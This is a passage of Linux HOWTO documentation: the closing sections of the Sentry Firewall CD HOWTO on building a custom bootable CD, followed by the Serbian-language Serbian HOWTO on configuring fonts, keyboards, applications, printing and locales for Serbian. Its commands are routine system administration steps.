Defines which device the CDROM is. Most of the time the CDROM is detected and mounted using the /etc/rc.d/rc.cdrom script. But this makes the process less error-prone.

     Syntax: cdrom = <DEVICE>

Example:
     cdrom = /dev/hdc

5.8 'cron' directive

Replace a user's crontab file(located in /var/spool/cron/crontabs/).

Syntax: cron:<USERNAME> = </LOCATION/OF/CRONTAB_FILE>

5.9 hostname

Defines the hostname of the local machine. This directive can be used to either point to a file containing the hostname of the local machine, or to define the hostname itself.

     Syntax: hostname = </path/to/file>
             or
             hostname = MYHOSTNAME


Sentry Firewall CD HOWTO: Building a Custom Sentry CD

 Next Previous Contents

6. Building a Custom Sentry CD

6.1 Introduction

This section will attempt to describe how to create a custom Sentry Firewall CDROM. Unfortunately, I do not have to time to go into every detail. But at the very least I will try and provide for you an overview of the CD creation process.

6.2 The development system(How I do it)

My development system consists of 2 separate Slackware installations. First, I have a very complete Slackware installation on my main hard drive(/dev/hda). I then have /dev/hdb1, upon which I have another, bare bones, Slackware installation. This installation generally has no compiling tools or X stuff. I usually have /dev/hdb1 mounted on /mnt, that's not a critical element, but I thought I'd mention it since I will refer to /mnt alot from now on. I then have a folder called /CD-FW on the /dev/hdb1 installation. Throughout this entire process, the Slackware installation on /dev/hda is the live running system, and it is from here that I compile the needed tools, kernels, etc and basically run everything.

I begin by copying nearly all the files from /mnt to /mnt/CD-FW in order to produce what will be the next Sentry Firewall CD. For example, I have a script that does something like the following:

        ## This usually spits out alot of errors, usually crap about
        ## hard links and such, but they are all ignorable.

        cp -Rdp /mnt/bin /mnt/CD-FW/
        cp -Rdp /mnt/sbin /mnt/CD-FW/
        cp -Rdp /mnt/lib /mnt/CD-FW/
        cp -Rdp /mnt/usr/bin /mnt/CD-FW/usr/
        cp -Rdp /mnt/usr/sbin /mnt/CD-FW/usr/
        cp -Rdp /mnt/usr/local/bin /mnt/CD-FW/usr/local/
        cp -Rdp /mnt/usr/lib /mnt/CD-FW/usr/
        cp -Rdp /mnt/usr/libexec /mnt/CD-FW/usr/
        cp -Rdp /mnt/usr/share /mnt/CD-FW/usr/
        cp -Rdp /mnt/usr/man /mnt/CD-FW/usr/

I then need to create alot of other folders and files in /mnt/CD-FW in order to get a fairly complete system. Things in /mnt/CD-FW/var for instance will often have to be created by hand in order to avoid copying alot of crap I don't need. Notice, however, that I don't copy any /dev files, since these files will be on the ramdisk(when I get around to creating it).

Ok, so now we have /mnt/CD-FW. To make this easy for you, this is essentially the exact same thing that's present on the Sentry Firewall CDROM. All I did was use the 'mkisofs' utility on /mnt/CD-FW. So the stuff on the CD is actually a copy of what's in the /mnt/CD-FW directory on my hard drive.

Having a separate, but unused Slackware system on /dev/hdb1 makes it easy for me to install and upgrade packages as I need them. For example, if I want to use the upgradepkg utility to upgrade a package I get from ftp.slackware.com, I can simply do something like the following:

root@mybox:~# cp /tmp/zlib.tar.gz /mnt
root@mybox:~# cd /mnt; chroot /mnt
root@mybox:/# upgradepkg zlib.tar.gz; exit
.....

Then, all I need to do is re-run the script mentioned above, the one that copies all those files, to update the /mnt/CD-FW directory.

6.3 The RAMdisk Image

That's all nifty, but now comes the hard part... making the ramdisk. If you take a look at the /isolinux directory on the CDROM, you will see a bunch of files, one of them is called 'initrd.img' - there are several others as well, such as isolinux.cfg, message.txt, and isolinux.bin. These files are required by isolinux in order to work properly. Take a look at those files and the documentation that comes with syslinux to get a better idea of what all that does. In any case, the 'initrd.img' file is, in fact, the compressed ramdisk image.

To take a look at the image, do something like the following:

blah@wherever:~$ cp /cdrom/isolinux/initrd.img /tmp/initrd.img.gz
blah@wherever:~$ gzip -d /tmp/initrd.img.gz
blah@wherever:~$ mount -o loop /tmp/initrd.img /MOUNT_POINT

In a nutshell, I use the file '/SENTRY/scripts/MK-CD/mkrootdsk.sh' to create the rootdisk. Please read that file and the disclaimer before you decide to use it. It runs perfectly on my system, but may not run well at all on yours. It basically attempts to create a rootdisk image to use with the Sentry CD, but it is very long and may be somewhat difficult to comprehend at times. This is what happens when I start a project and fail to utilize proper child safety restraints.

6.4 Making the ISO Image

The next file I use is called 'mkiso.sh'. The script generally just declares a few variables and runs the 'mkisofs' utility. The command I normally run looks like the following:

root@mybox:~# cd /mnt/CD-FW
root@mybox:/mnt/CD-FW# mkisofs -o sentrycd.iso -R -V "Sentry Firewall CD [v1.2.0]" -v \
   -T -d -D -N \
   -b isolinux/isolinux.bin \
   -c isolinux/eltorito.cat \
   -no-emul-boot -boot-load-size 4 -boot-info-table \
   -A "Sentry Firewall v1.2.0 (Slackware 8.0)"
........

And that's it, I burn the CD and test it. For reference, the following files are available on the CDROM:

  • /SENTRY/scripts/MK-CD/mkrootdsk.sh (builds the rootdisk)
  • /SENTRY/scripts/MK-CD/mkiso.sh (builds final ISO image)
  • /SENTRY/scripts/MK-CD/record-cd.sh (burns the ISO to a CD)


Sentry Firewall CD HOWTO: More Information

 Next Previous Contents

7. More Information

7.1 Mailing List

Thanks to SourceForge.net, there is a mailing list available for the Sentry CD.

  • Subscribe
  • Archives

7.2 Frequently Asked Questions

A FAQ is currently being maintain on the Sentry Firewall website, it can be accessed via the following URL: http://Sentry.SourceForge.net/files/FAQ.

7.3 About Sentry Network Security

Sentry Network Security is an itty bitty company that specializes in building and maintaining Linux based firewalls, as well as various other network related services. We also offer custom Sentry Firewall CD solutions, to help configure and build any number of systems utilizing the Sentry Firewall CD. For more information, or if you'd like to send me any bad jokes or poetry, please email me.


Serbian HOWTO

Zoltan Csala, zolika@sezampro.PRVO-SKLONI-OVO.yu

v1.0, November 1998

Cilj ovog dokumenta je da opise kako da podesite Linux i razne aplikacije za Linux prema standardima srpskog jezika. Tu spadaju: raspored slova na tastaturi, fontovi, velicina papira i drugo. Nadamo se da ce ovaj dokument koristiti i drugi korisnici Linuksa kojima je blizak srpski jezik.

1. Uvod

2. Prikazivanje nasih slova na ekranu

  • 2.1 Skup znakova "ISO-8859-2"
  • 2.2 Konzolni rezim rada
  • 2.3 X-Windows graficko okruzenje

3. Podesavanje tastature

  • 3.1 Konzolni rezim rada
  • 3.2 X-Windows graficko okruzenje

4. Prilagodjavanje nekih aplikacija nasim slovima

  • 4.1 Shell-ovi
  • 4.2 Ostali programi

5. Razna podesavanja

  • 5.1 Vremenska zona
  • 5.2 Format papira A4
  • 5.3 Format tekstualnih datoteka za druge operativne sisteme

6. Podesavanje stampanja

  • 6.1 Stampaci koji podrzavaju ISO-8859-2 kodnu stranicu
  • 6.2 Stampaci koji podrzavaju neki drugi 8-bitni kodni raspored
  • 6.3 PostScript stampaci

7. Podrska za lokalna podesavanja u libc 5.4.x i navise

8. Korisni saveti za programiranje sa X11

9. Vazne reference i FTP sajtovi

  • 9.1 Ostale reference od znacaja
  • 9.2 Linux u Jugoslaviji
  • 9.3 FTP sajtovi
  • 9.4 USENET diskusione liste

10. Epilog

  • 10.1 Posveta
  • 10.2 Logicno pitanje... i logican odgovor
  • 10.3 Zahvalnice
  • 10.4 Izjava o odricanju od odgovornosti
  • 10.5 Autorska prava
  • 10.6 A note to English readers


Serbian HOWTO: Uvod

 Next Previous Contents

1. Uvod

Gotovo svi korisnici bilo kog operativnog sistema van granica Sjedinjenih Americkih Drzava imaju dva problema. Prvi je u nacinu saopstavanja kompjuteru da imate tastaturu koja sadrzi i druge znake osim americkih. Drugi problem je - kako podesiti kompjuter da prikaze specijalne znake iz abecede (ili azbuke) jezika kojim govorite. Da stvari budu jos gore, neke aplikacije ce vas smatrati izuzetkom ako niste Amerikanac i zahtevace specijalne opcije ili podesavanja "environment" promenljivih.

Pod Linuxom mozete da promenite nacin na koji vas kompjuter interpretira ono sto otkucate na tastaturi. To radite komandom loadkeys i xmodmap. Komanda loadkeys ce modifikovati tastaturu u konzolnom nacinu rada, dok ce xmodmap uraditi sve sto je potrebno kada se nalazite u X11 grafickom okruzenju.

Da biste prikazali nasa slova treba da saopstite aplikacijama da koristite ISO-8859-2 (takodje poznat i kao Latin-2) skup znakova. Ovo nije uvek potrebno, ali nekoliko kljucnih aplikacija zahteva posebnu paznju.

Ovaj HOWTO je pisan sa ciljem da korisnicima koji razumeju srpski jezik objasni kako da izvedu potrebna podesavanja. Ako budete imali problema i posle citanja ovog dokumenta, mozete da procitate German HOWTO, Linux Keyboard and Console HOWTO ili ISO 8859-1 National Character Set HOWTO. Mnogi saveti u ovom tekstu preuzeti su od tamo. Takodje pogledajte odeljak Vazne reference i FTP sajtovi za linkove ka tim dokumentima. Mozete poslati i email na moju elektronsku adresu, a ja cu pokusati da vam odgovorim kad mi vreme dozvoli.

Najveci problem je da su poruke o greskama, meniji i dokumentacija gotovo svih aplikacija na engleskom jeziku. Postoji GNU projekt kome je cilj pokusaj resavanja ovog problema. Da biste videli o cemu se radi, preuzmite datoteku ABOUT-NLS ili paket gettext-0.10.tar.gz (ili bilo koju noviju verziju) sa vama najblizeg FTP sajta koji ima kopiju prep.ai.mit.edu. Dokumentacija u paketu gettext opisuje kako da koristite prevode u vasim programima.


Serbian HOWTO: Prikazivanje nasih slova na ekranu

 Next Previous Contents

2. Prikazivanje nasih slova na ekranu

2.1 Skup znakova "ISO-8859-2"

ISO-8859-2 ili "Latin-2" je clan porodice osmobitnih kodnih rasporeda ISO 8859. Taj skup kodnih rasporeda pokriva alfabete kojima se pise u Evropi, Severnoj i Juznoj Americi, Africi i nekim zemljama Azije. Skup kodnih rasporeda je napravilo evropsko udruzenje proizodjaca racunara (European Computer Manufacturer's Association, ECMA), a potvrdio ga je kao medjunarodni standard organizacija za standardizaciju ISO sa sedistem u Zenevi.

Kodni raspored "Latin 2" koristi sve potrebne znake koji se koriste za pisanje na albanskom, ceskom, engleskom, finskom, hrvatskom, irskom, madjarskom, nemackom, poljskom, rumunskom, slovackom, slovenackom, srpskom (latinica) i luzickosrpskom jeziku.

Neki proizvodjaci racunara ili operativnih sistema, kao sto su IBM, Apple i Microsoft, upotrebljavaju svoje kodne rasporede za slova u gorepomenutim jezicima. Ti kodni rasporedi su po pravilu nepodudarni kako medjusobno, tako i sa ISO standardom.

2.2 Konzolni rezim rada

Skup znakova za konzolni rezim rada mozete naci u paketu kbd koji je napisao Andrijes Bouver [Andries Bouwer] sa univerziteta u Ajndhovenu [Eindhoven], Holandija. U Slackware distribuciji pomenuti paket naci cete kao deo veceg paketa keytbls. Mozete ga instalirati (ako vec to niste ucinili) kao i ostale pakete, naredbom pkgtool ili installpkg. Kada je rec o distribuciji RedHat, na raspolaganju vam je RPM paket kbd-x.xx-x. Instalira se na poznati nacin, komandom rpm -Uvv kbd-x.xx-x (opciju vv navodite ako zelite da vidite sta se desava, sto bih vam toplo preporucio).

Po instalaciji paketa, potreban skup znakova za prikaz nasih slova dobijate komandom setfont na sledeci nacin:

setfont lat2-16

Vise o paketu kbd naci cete u poglavlju 3, Podesavanje tastature.

2.3 X-Windows graficko okruzenje

Najkraci postupak za dobijanje nasih slova na ekranu pod X-Windowsima bio bi:

  1. Preuzmite fontove sa slovenackog FTP sajta
    ftp://ftp.arnes.si/software/unix/Latin-2-fonts/
  2. Prijavite se na sistem kao root.
  3. Kreirajte odgovarajuce poddirektorijume u direktorijumu /usr/X11R6/lib/X11/fonts. Na primer:
    /usr/X11R6/lib/X11/fonts/ISO-8859-2/100dpi /usr/X11R6/lib/X11/fonts/ISO-8859-2/75dpi
    Raspakujte fontove ( tar -xvf ...) u odgovarajuce poddirektorijume.

    4.

  4. X server zahteva fontove u odgovarajucem, prevedenom formatu.
Pribavljene fontove prevedite komandom
bdftopcf, koja je deo paketa XFree86-X.X.X-XX (RedHat):

    for FILE in *.bdf
do
    bdftopcf $FILE -o `basename $FILE .bdf`.pcf
done

    5.

  5. Kompresujte tako dobijene fontove komandom gzip:

gzip *.pcf

    6.

  6. U svakom poddirektorijumu X server ocekuje datoteku fonts.dir
koja preslikava imena datoteka sa fontovima u kanonicka imena
fontova (X Logical Font Description, XLFD). Datoteku kreirajte sa

mkfontdir

koju morate ponoviti u svakom poddirektorijumu direktorijuma
ISO-8859-2.

    7.

  7. Ostaje vam jos samo da X server "date do znanja" da ste instalirali
nove fontove. To cinite nizom komandi xset:

    xset +fp /usr/X11R6/lib/X11/fonts/ISO-8859-2/75dpi/
xset +fp /usr/X11R6/lib/X11/fonts/ISO-8859-2/100dpi/
xset fp rehash

Ako je sve islo kao sto treba, naredba

xlsfonts -fn "*-iso8859-2"

mora prikazati nazive novih fontova.

    8.

  8. Komanda xset vazi samo dok ne izadjete iz X Windows-a. Da biste
promene u putu za pretrazivanje fontova ucinili trajnim, morate da
promenite konfiguracionu datoteku
XFree86 servera. Ona se nalazi u

    /usr/X11/lib/X11/Xconfig  (Slackware) ili
/etc/X11/XF86Config  (RedHat)

Potrazite u njoj redove koji pocinju sa FontPath i dodajte:

    FontPath "/usr/X11R6/lib/X11/fonts/ISO-8859-2/75dpi"
FontPath "/usr/X11R6/lib/X11/fonts/ISO-8859-2/100dpi"

Navodnici oko puta do direktorijuma se moraju otkucati.
    9.

To bi bilo sve. Od sada X-Windows ima "infrastrukturu" za prikazivanje
nasih slova.

Next
Previous
Contents


Serbian HOWTO: Podesavanje tastature

 Next Previous Contents

3. Podesavanje tastature

3.1 Konzolni rezim rada

skup znakova za konzolni rezim rada i tabele za preslikavanje tastature mozete naci u paketu kbd Andriesa Brouwera sa univerziteta u Ajndhovenu, Holandija. Autor paketa je takodje napisao i Keyboard HOWTO (u pripremi na srpskom jeziku), gde mozete dobiti dodatna obavestenja o ovoj temi. U Slackware distribuciji mozete naci pomenuti paket pod imenom keytbls, dok je kod RedHat distribucije u pitanju kbd-X.XX-X.i386.rpm. Paketi se instaliraju komandama pkgtool ili rpm, respektivno.

Paket kbd sadrzi raspored za srpsku tastaturu, po ugledu na postojece pisace masine kod nas. Ovaj paket ce raditi ako prethodno pripremite i odgovarajuce fontove po ISO-8859-2 kodnom rasporedu. Ukoliko koristite neki drugi kodni raspored na dirkama tastature, pogledajte datoteke u /usr/lib/kbd/keytables direktorijumu (RedHat) ili /usr/lib/kbd direktorijumu (Slackware) i napravite ono sto vam je potrebno.

Ceo postupak izbora ekranskg fonta i rasporeda na tastaturi sastoji se u sledecem:

# Biramo font za ekran visine 16 piksela
setfont lat2-16 ( ili iso02.f16, ako nemate prvi fajl)
# Srpska latinicna tastatura
loadkeys sr
# Aktivacija tastature
echo -e -n "\\033(K" > /dev/console
Gornje redove mozete dodati u datoteku /etc/rc.d/rc.local, kako bi se izvrsili prilikom svakog pokretanja Linuxa.

3.2 X-Windows graficko okruzenje

U X-Windows grafickom okruzenju tastaturu podesavamo za nasa slova komandom xmodmap. Datoteku sa rasporedom tastera koji se koristi na pisacim masinama za srpski jezik mozete naci na

ftp://www.linux.org.yu/sr/utils/Xmodmap.sr.pc102
Upotreba je jednostavna:
xmodmap Xmodmap.sl.pc102
Ako hocete da promenu ucinite trajnom, prekopirajte datoteku u ~/.Xmodmap (samo za vas nalog na Linuxu) ili u /etc/X11/xinit/Xmodmap (raspored tastera ce vaziti za sve korisnike). Ova promena ce se aktivirati od momenta novog pokretanja X-Windowsa.


Serbian HOWTO: Prilagodjavanje nekih aplikacija nasim slovima

 Next Previous Contents

4. Prilagodjavanje nekih aplikacija nasim slovima

Prilagodjavanja tastature i ekrana, na zalost, najcesce nisu dovoljna da bi pojedini programi korektno postupali sa nasim slovima. Zato su potrebna dodatna podesavanja. Da bi neki od vaznih programa umeli da prepoznaju nasa slova, potrebno je uraditi sledece:

4.1 Shell-ovi

bash:

Bourne shell (i Bourne-Again-Shell) ce ispravno razumeti srpska podesavanja ako u datoteku ~/.inputrc ubacite sledece redove:

set meta-flag on
set convert-meta off
set output-meta on
Mozda ne bi bilo lose da ove redove dodate u /etc/skel, jer se tamo nalaze datoteke koje se kopiraju u $HOME direktorijum svakog novog korisnika.

(t)csh:

Unos nasih znakova moguc je ako dodamo sledece redove u ~/.cshrc ili (samo za vas) ili /etc/csh.cshrc (za sve korisnike):

stty pass8
setenv LC_CTYPE iso_8859_2
setenv LANG C

4.2 Ostali programi

elm:

U datoteku ~/.elm/elmrc dodajte sledece:

charset = iso-8859-2
displaycharset = iso-8859-2
textencoding = 8bit
Medjutim, nije garantovano da ce ovo raditi u svim verzijama elm-a.

emacs:

Dodajte sledece redove u vasu ~/.emacs datoteku ili u sistemsku inicijaliza- cionu datoteku (verovatno /usr/lib/emacs/site-lisp/default.el ili /usr/share/emacs/site-lisp/default.el):

(standard-display-european t)
(require 'iso-syntax)
(set-input-mode (car (current-input-mode))
        (nth 1 (current-input-mode))
        0)

groff:

Komandu navedite kao

groff -Tlatin2 <vasa_groff_datoteka>
Nemojte zaboraviti da ovo izmenite u /etc/man.config da biste dobili nasa slova u man stranicama, kada one jednog dana budu na raspolaganju na srpskom jeziku. Takodje, nemojte uklanjati -mandoc prekidac.

joe:

Kucajte komandu kao

joe -asis
ili dodajte sledece u vasu ~/.joerc datoteku:
-asis
Crtica (-) MORA biti u prvoj koloni datoteke.

kermit:

Ovo je najbolje sto mozete dobiti, ali nije bas sasvim zadovoljavajuce. Stavite sledece u vasu ~/.kermrc datoteku:

set terminal bytesize 8
set command bytesize 8
set file bytesize 8
set file character-set latin2-iso
set transfer character-set latin2-iso
set terminal character-set latin2-iso

less:

Postavite sledecu promenljivu:

LESSCHARSET=latin1

ls:

Kucajte komandu kao

ls -N
ili, ako to ne radi, kao
ls --8bit

man:

Vidite deo o groff komandi.

metamail:

Postavite sledecu promenljivu:

MM_CHARSET-ISO-8859-2

nn:

Stavite sledece u ~/.nn/init datoteku:

set data-bits 8

pine:

Stavite sledecu definiciju u ~/.pinerc datoteku:

character-set=ISO-8859-2
Ovo mozete uraditi i iz "Setup"-a, opcija "Config".

rlogin:

Navedite komandu kao

rlogin -8 neki.sajt.yu

telnet:

Stavite po jednu liniju u vasu ~/.telnetrc datoteku za svaki host kome zelite da pristupite koristeci telnet:

<ime hosta> set outbinary true
Na primer:

moje.malo.mesto.yu      set outbinary true
moj.ISP.yu              set outbinary true

tin:

Stavite sledece definicije u vasu ~/.tin/headers datoteku:

Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: 8bit
Sada mozete da saljete poruke u diskusione grupe koristeci nasa slova.


Serbian HOWTO: Razna podesavanja

 Next Previous Contents

5. Razna podesavanja

5.1 Vremenska zona

Jugoslavija se nalazi u centralno-evropskoj vremenskoj zoni (CET ili MET) koja tokom zime odgovara grinickom vremenu uvecanom za 1 sat (GMT+1). Vremensku zonu na Linux sistemu mozete postaviti pravljenjem simbolicke veze:

ln -sf /usr/lib/zoneinfo/MET /etc/localtime
ili
ln -sf /usr/lib/zoneinfo/Europe/Belgrade /etc/localtime
Ovim, takodje, prelazite na letnje racunanje vremena (GMT+2).

Sistemsko vreme mozete da uskladite sa CMOS casovnikom zadavanjem komande clock dok ste prijavljeni kao root korisnik. Ako je vas CMOS casovnik podesen na GMT vreme (poznato i kao UTC vreme - standard svih pravih UNIX sistema), onda mozete koristiti

clock -u -s
U suprotnom, za uskladjivanje lokalnog vremena koristite
clock -s

5.2 Format papira A4

  • dvips: Promenite datoteku /usr/lib/texmf/dvips/config.ps ili ~/.dvips.
  • ghostscript: Dodajte opciju -sPAPERSIZE=a4 u komandnoj liniji kojom pozivate program.
  • ghostview: Dodajte sledecu liniju u ~/.Xresources:
    Ghostview.pageMedia: A4
  • xdvi: Dodajte sledecu liniju u ~/.Xresources:
    XDvi.paper: A4

5.3 Format tekstualnih datoteka za druge operativne sisteme

Koristeci paket recode mozete prevesti datoteke koje sadrze tekst u ISO-8859-2 rasporedu u neki drugi raspored, na primer Microsoft CP-1250, IBM Codepage 852 ili neki treci. Upotreba je jednostavna:

recode cp852:latin2 <ime_datoteke>
Paket je dostupan kao recode-3.4.tar.gz (ili noviji) na svim sajtovima koji drze kopiju sajta prep.ai.mit.edu.


Serbian HOWTO: Podesavanje stampanja

 Next Previous Contents

6. Podesavanje stampanja

Kod stampanja mozete naici na razne situacije:

  • Stampac neposredno podrzava ISO Latin 2 raspored (idealno!)
  • Stampac podrzava jedan od ostalih 8-bitnih rasporeda sa nasim slovima (na pr. kodni raspored 852), ali i 7-bitni raspored JUS I.B1.002 (bolje)
  • Stampac razume PostScript (dobro)
  • Stampac ne razume nista drugo osim ASCII znakova (lose!)

6.1 Stampaci koji podrzavaju ISO-8859-2 kodnu stranicu

Neki od novijih stampaca neposredno podrzavaju ISO-8859-2 kodni raspored. Medju njima su:

  • Hewlett-Packard LaserJet 4 Plus i 4M Plus
  • Hewlett-Packard LaserJet 5L
  • Epson FX-2170
  • Epson LQ-870
  • Fujitsu DL700
  • Fujitsu DL1150/1250
  • Fujitsu DL3700/3800
  • Fujitsu DL6400/6600
Sve sto treba da uradite je da stampacu naredite da koristi odgovarajucu kodnu stranicu. Komandna sekvenca za stampace Hewlett-Packard je:
\033(@N\033(s0p12h0s0b4099T
gde je \033 oktalni kod znaka Escape.

Jedan od nacina da pomocu datoteke /etc/printcap prilagodimo stampac da stampa po tom rasporedu opisan je u sledecem odeljku.

6.2 Stampaci koji podrzavaju neki drugi 8-bitni kodni raspored

Ako stampac podrzava neki drugi kodni raspored s nasim slovima, ipak mozemo pomocu njega stampati tekstove po ISO-8859-2 rasporedu, ako datoteku /etc/printcap prilagodimo na odgovarajuci nacin.

Postupak cemo objasniti na primeru stampaca marke Epson, koji ima znake po YUSCII rasporedu na mesto svedske abecede.

lp|ascii|epson|Epson LQ-850:\
        :lp=/dev/lp1:\
        :sd=/usr/spool/lpd/epson:\
        :lf=/usr/spool/lpd/ERRORLOG:\
        :mx#0:\
        :sh:
jus|Epson LQ-850 sa znakovima JUS I.B1.002:\
        :lp=/dev/null:\
        :sd=/usr/spool/lpd/jus:\
        :if=/usr/spool/lpd/jus_filter:\
        :lf=/usr/spool/lpd/ERRORLOG:\
        :mx#0:\
        :sh
latin2|text|Epson LQ-850 sa znakovima po ISO Latin 2:\
        :lp=/dev/null:\
        :sd=/usr/spool/lpd/latin2:\
        :if=/usr/spool/lpd/latin2_filter:\
        :lf=/usr/spool/lpd/ERRORLOG:\
        :mx#0:\
        :sh:
U pitanju su tri reda za stampanje. Prva je americki (ASCII) izbor znakova. Drugi koristi /var/spool/lpd/jus_epson:
#!/bin/sh
/usr/spool/lpd/jus_epson | lpr -Pascii
Potrebno je da datoteku filtrirate kroz filter /var/spool/lpd/jus_epson i da je postavite u prvi red za stampanje. Filter jus_epson ne radi nista drugo osim sto bira svedski kodni raspored, prepise datoteku sa ulaza na izlaz i na kraju opet bira americki raspored. To je jedini deo programa koji zavisi od vrste stampaca:
#!/bin/sh
# Stampanje dokumenta kodiranih po JUS I.B1.002 na stampac Epson LQ
#
# Biramo srpski (svedski) raspored
/bin/echo "\033R\005\c"
# Ispisujemo dokument
cat
# Biramo ASCII raspored
/bin/echo "\033R\000\c"
Treci red (queue) je modifikacija drugog. Najpre se dokument pretvara iz Latin 2 u JUS kodni raspored, zatim se koristi prethodno opisani filter da doda na pocetku i na kraju potrebne kodove za stampac, i na kraju se datoteka salje u prvi red za stampanje.
#!/bin/sh
/usr/local/bin/recode --force latin2:yu | \
/usr/spool/lpd/jus_epson | lpr -Pascii
Ovde pretpostavljamo da posedujemo program recode u /usr/local/bin direktorijumu.

U ovu svrhu morate u direktorijumu /usr/spool/lpd (ili /var/spool/lpd) kreirati poddirektorijume /usr/spool/lpd/epson, /usr/spool/lpd/jus i /usr/spool/lpd/latin2.

Stampanje bi trebalo da ide lako:

  1. Bez eksplicitne izbora reda, ili sa izborima -Pepson ili -Pascii, datoteka se stampa kao ASCII:
    lpr <datoteka>
  2. Izborom reda -Pjus datoteka se stampa kao dokument po JUS I.B1.002 rasporedu:
    lpr -Pjus <datoteka>
  3. Izborom reda -Platin2 ili -Ptext datoteka se stampa po ISO-8859-2 rasporedu:
    lpr -Platin2 <datoteka>

6.3 PostScript stampaci

Datoteku mozete lako odstampati ako koristite jedan od filtera za PostScript stampace koji podrzavaju ISO-8859-2 raspored. Takvi programi su, na primer, a2ps i GNU enscript. Poslednji podrzava ISO-8859-2 raspored, dok je podrska za prvi program u izradi.

Enscript za Red Hat distribucije mozete naci na http://rufus.w3.org/linux/RPM "skladistu" RPM paketa.

GNU enscript

Ako niste instalirali GNU enscript, mozete to da ucinite po uputstvima koja prate program. Osim njega, potreban vam je i neki font u Type 1 obliku koji sadrzi nasa slova. Dobar izbor bi bio IBM Courier, koji se distribuira uz X Windows sisteme ili sa programom ghostscript. Ako font postoji, ali ne znate tacno gde se nalazi, mozete ga pronaci komandom

find / -name cour.pf[ab]
U licnu (~/.enscriptrc) ili sistemsku konfiguracionu datoteku (/usr/local/etc/enscript.cfg ili /usr/loca/etc/enscriptsite.cfg) dodajte put do datoteke sa fontovima. Osim toga, GNU enscript zahteva u svakom direktorijumu sa fontovima datoteku font.map, koja sadrzi preslikavanje izmedju fontova i datoteka u kojima se fontovi nalaze - slicno kao fonts.dir. Datoteku font.map mozete da kreirate naredbom mkafmmap.

Primer konfiguracione datoteke enscriptsite.cfg:

...
#  Gde su PostScript fontovi?
AFMPath: /usr/lib/X11/fonts/Type1:/usr/local/lib/ghostscript/fonts
...
# Podrazumevani nacin kodiranja:
DefaultEncoding: latin2
...
# Podrazumevani format papira:
DefaultMedia: A4
...
# lpd bira red za stampanje prekidacem -P...
QueueParam: -P
...
# Za stampanje koristimo naredbu lpr, a ne lp
Spooler: lp
Posto ste sve namestili, jednostavno posaljite datoteku na stampanje komandom
enscript <datoteka>


Serbian HOWTO: Podrska za lokalna podesavanja u libc 5.4.x i navise

 Next Previous Contents

7. Podrska za lokalna podesavanja u libc 5.4.x i navise

Podrska lokalnim podesavanjima je poboljsana u libc 5.4.x i navise. Mozete izbeci mnoga pojedinacna podesavanja programa opisana u poglavlju 4, Prilagodjavanje nekih aplikacija nasim slovima ako je vas sistem pripremljen za lokalnu podrsku. Debian distribucija podrzava lokalna podesavanja ako instalirate paket wg15-locale. Procitajte Locales mini-HOWTO ako zelite da podesite lokalnu podrsku na ne-Debian sistemima sa libc 5.4.x. RedHat distribucija takodje podrzava lokalna podesavanja od verzije 5.0 navise ako instalirate paket glibc-X.X.X-XX-i386.rpm. Sistemi sa GNU libc 2 (libc 6.x) takodje podrzavaju lokalna podesavanja.

Ako vasa Linux distribucija ne podrzava srpska latinicna lokalna podesavanja, posluzite se sledecim trikovima:

  1. Najpre proverite da li vas sistem podrzava slovenacka ili hrvatska lokalna podesavanja. Ako je to tacno, predjite na korak 3.

    2.

  2. Nadjite na Internetu tekstualnu datoteku sl_SI ili hr_HR u kojoj
su opisana odgovarajuca podesavanja za hrvatski, odnosno slovenacki jezik.

    3.

  3. Prijavite se na sistem kao root.

    4.

  4. Predjite u direktorijum  /usr/share/i18n/locales ako koristite RedHat
distribuciju, ili odgovarajuci direktorijum na Slackware, Debian ili
Caldera distribuciji.

    5.

  5. % cp sl_SI (ili hr_HR) /usr/share/i18n/locales/sr_YU

    6.

  6. % cd /usr/share/i18n/locales

    7.

  7. Koristeci vas omiljeni editor, promenite sledece linije u datoteci sr_YU
(navedeni brojevi ne moraju nuzno biti tacni, vec su dati radi lakse
orijentacije u datoteci):

    4:    % Serbian Language Locale for Yugoslavia
6:    % Address:
7:    %
8:    % Contact:
9:    % Email:
10:   % Tel:
12:   % Language: sr
13:   % Territory: YU
2117: yesexpr "<<(><d><D><y><Y><)/>><*><.>"
2118: noexpr  "<<(><n><N><)/>><*><.>"
2122: int_curr_symbol           "<Y><U><N><SP>"
2123: currency_symbol           "<d><i><n>"
2148:        "<u><t><o>";"<s><r><e>";/
2161:        "<j><u><l>";"<a><v><g>";/
2171:        "<a><v><g><u><s><t>";/
2177: d_fmt  "<%><d><-><%><m><-><%><Y><.>"

    8.

  8. Izvrsite komandu

localedef -c -i sr_YU -f ISO-8859-2 sr_YU

Ako sve protekne u redu, trebalo bi da imate srpsku latinicnu lokalnu
podrsku. Da biste je aktivirali, trebalo bi da podesite promenljivu iz
okruzenja:

LC_ALL=sr_YU

Takodje, mozete pokusati sa sr_YU.ISO_8859_2 ako sr_YU ne radi.
Da biste proverili da li lokalna podrska radi, otkucajte

date

Trebalo bi da dobijete datum sa nasim skracenicama imena dana u
nedelji i meseca.

Pomenute promenljive postavljaju sve kategorije lokalne podrske. Mozete
postaviti pojedinacnu kategoriju koristeci ime kategorije kao promenljivu.
Lokalne kategorije su:

    Lokalna kategorija      Primena
------------------      -------
LC_COLLATE              Redosled sortiranja slova u stringu.
LC_CTYPE                Klasifikacija i pretvaranje znakova.
LC_MESSAGES             Prevod odgovora "da" i "ne".
LC_MONETARY             Novcani format.
LC_NUMERIC              Format ne-monetarnih numerickih vrednosti.
LC_TIME                 Format datuma i vremena.
LC_ALL                  Postavlja sve gorenavedene kategorije (i ima
                        prvenstvo u odnosu na sve).
LANG                    Postavlja sve kategorije, ali moze da bude
                        nadjacana bilo kojom pojedinacnom lokalnom
                        kategorijom.

Neki programi, kao sto su bash ili GNU emacs ipak zahtevaju posebna
podesavanja, kao sto je opisano u poglavlju 4,
Prilagodjavanje nekih aplikacija nasim slovima, ali vecina bi trebalo da radi bez dodatnog "nadzora". Programi
kao sto su nvi koji ranije nisu radili sa 8-bitnim znacima sada bi trebalo
da rade.

Lokalna podrska bi trebalo da postane prisutnija sa pojavom distribucija koje
su zasnovane na GNU libc 2 biblioteci. Vodite racuna da, mada Red Hat Linux
5.0 sadrzi GNU libc 2, lokalna podrska ne radi. Da biste je aktivirali, treba
da izvrsite sledeci skript (zanemarite upozorenja):

    #!/bin/sh
localedef -c -i en_DK -f ISO-8859-1 en_DK
localedef -c -i sv_SE -f ISO-8859-1 sv_SE
localedef -c -i fi_FI -f ISO-8859-1 fi_FI
